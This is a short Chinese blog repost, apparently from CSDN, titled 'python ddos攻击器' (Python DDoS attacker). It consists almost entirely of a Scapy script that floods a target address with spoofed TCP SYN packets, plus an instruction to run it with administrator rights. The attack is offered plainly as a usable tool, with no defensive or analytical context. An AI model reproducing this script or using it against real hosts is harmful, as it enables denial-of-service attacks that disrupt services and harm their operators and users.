python ddos攻击器
作者:互联网
from scapy.all import *
def synFlood ( src , tgt ):
for sport in range(1024, 65535):
IPlayer = IP(src = src, dst = tgt)
TCPlayer = TCP(sport = sport, dport = 513)
pkt = IPlayer / TCPlayer
send(pkt)
src = '10.1.1.12'
tgt = ''#目标地址
synFlood(src,tgt)
记得要以管理员权限打开cmd,输入scapy
再写入代码。
标签:src,pkt,tgt,python,synFlood,ddos,攻击器,IPlayer,sport 来源: https://blog.csdn.net/WitherHeker/article/details/102760873